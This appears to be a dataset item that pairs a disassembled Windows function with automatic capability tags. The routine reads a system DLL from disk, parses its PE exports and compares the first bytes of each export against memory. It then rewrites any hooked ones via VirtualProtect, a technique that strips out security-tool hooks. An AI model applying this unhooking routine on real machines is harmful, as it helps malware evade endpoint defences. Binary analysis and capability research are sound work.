Function at 0x4212f0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get common file path
Get file size
Parse pe header
Read file on windows
Resolve function by parsing pe exports
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5a6108
push 0x52f148
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x240
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov dword [ebp - 0x20], ecx
xor eax, eax
mov word [ebp - 0x250], ax
push 0x206
push eax
lea ecx, [ebp - 0x24e]
push ecx
call fcn.0052ea80
add esp, 0xc
push 0x104
lea edx, [ebp - 0x250]
push edx
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryW]
lea eax, [ebp - 0x250]
add eax, 0xfffffffe
mov cx, word [eax + 2]
add eax, 2
test cx, cx
jne 0x421355
mov ecx, dword [0x567528]
mov dword [eax], ecx
mov edx, dword [0x56752c]
mov dword [eax + 4], edx
mov ecx, dword [0x567530]
mov dword [eax + 8], ecx
mov edx, dword [0x567534]
mov dword [eax + 0xc], edx
mov ecx, dword [0x567538]
mov dword [eax + 0x10], ecx
mov dx, word [0x56753c]
mov word [eax + 0x14], dx
push 0
push 0
push 3
push 0
push 1
push SysReAllocString
lea eax, [ebp - 0x250]
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileW]
mov edi, eax
push 0
cmp edi, 0xffffffff
jne 0x4213c3
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
push edi
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
mov esi, eax
test esi, esi
jne 0x4213d7
push eax
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
push esi
call fcn.0042cd90
add esp, 4
mov ebx, eax
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x38], 0
push 0
lea ecx, [ebp - 0x38]
push ecx
push esi
push ebx
push edi
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push edi
call sub.ntdll.dll_ZwClose
mov edx, 0x5a4d
cmp word [ebx], dx
je 0x421413
push 0
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
mov edi, dword [ebx + 0x3c]
add edi, ebx
mov dword [ebp - 0x30], edi
cmp dword [edi], 0x4550
je 0x42142b
push 0
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
push ebx
push edi
mov ecx, dword [ebp - 0x20]
call fcn.00420be0
mov eax, dword [edi + 0x78]
push eax
push edi
call fcn.00420b80
lea esi, [ebx + eax]
mov dword [ebp - 0x24], esi
mov ecx, dword [esi + 0x20]
push ecx
push edi
call fcn.00420b80
add eax, ebx
mov dword [ebp - 0x48], eax
mov edx, dword [esi + 0x1c]
push edx
push edi
call fcn.00420b80
add eax, ebx
mov dword [ebp - 0x1c], eax
mov eax, dword [esi + 0x24]
push eax
push edi
call fcn.00420b80
add esp, 0x20
add eax, ebx
mov dword [ebp - 0x40], eax
push 0x5674cc
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleW]
mov dword [ebp - 0x3c], eax
xor ecx, ecx
cmp dword [ebp - 0x1c], ecx
jne 0x421491
push ecx
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x20], ecx
cmp ecx, dword [esi + 0x14]
jae 0x4215e8
xor eax, eax
mov dword [ebp - 4], eax
mov edx, dword [ebp - 0x1c]
cmp dword [edx], eax
jbe 0x4215a8
mov dword [ebp - 0x44], eax
cmp eax, dword [esi + 0x18]
jae 0x4215a8
mov edx, dword [ebp - 0x40]
movzx edx, word [edx + eax*2]
cmp ecx, edx
jne 0x4215bc
mov ecx, dword [ebp - 0x48]
mov edx, dword [ecx + eax*4]
push edx
push edi
call fcn.00420b80
lea esi, [ebx + eax]
push 2
push 0x567524
push esi
call fcn.00531b20
add esp, 0x14
test eax, eax
jne 0x4215a5
inc dword [ebp - 0x28]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax]
push ecx
push edi
call fcn.00420b80
lea edi, [ebx + eax]
push esi
mov edx, dword [ebp - 0x3c]
push edx
call fcn.004209f0
mov ebx, eax
add esi, 2
push 0x567514
push esi
call fcn.005407ab
add esp, 0x18
test eax, eax
jne 0x421532
cmp byte [ebx], 0xe9
je 0x421532
push eax
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
push 0xa
push ebx
push edi
call sub.ntdll.dll__memicmp
add esp, 0xc
test eax, eax
je 0x42159f
cmp byte [ebx], 0xe9
jne 0x42156f
push 0x567514
push esi
call fcn.005407ab
add esp, 8
test eax, eax
jne 0x42156f
mov eax, dword [ebx + 1]
lea eax, [eax + ebx + 5]
cmp eax, 0x41ff40
je 0x42159f
push 0
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
lea ecx, [ebp - 0x34]
push ecx
push 0x40
push 0xa
push ebx
mov esi, dword [sym.imp.KERNEL32.DLL_VirtualProtect]
call esi
mov edx, dword [edi]
mov dword [ebx], edx
mov eax, dword [edi + 4]
mov dword [ebx + 4], eax
mov cx, word [edi + 8]
mov word [ebx + 8], cx
lea edx, [ebp - 0x34]
push edx
mov eax, dword [ebp - 0x34]
push eax
push 0xa
push ebx
call esi
mov ebx, dword [ebp - 0x2c]
mov edi, dword [ebp - 0x30]
mov esi, dword [ebp - 0x24]
mov dword [ebp - 4], 0xffffffff
add dword [ebp - 0x1c], 4
mov ecx, dword [ebp - 0x20]
inc ecx
jmp 0x421494
inc eax
jmp 0x4214b0
cmp dword [ebp - 0x28], 0xa
jge 0x4215f6
push 0
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
push ebx
call fcn.0042cd9b
add esp, 4
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret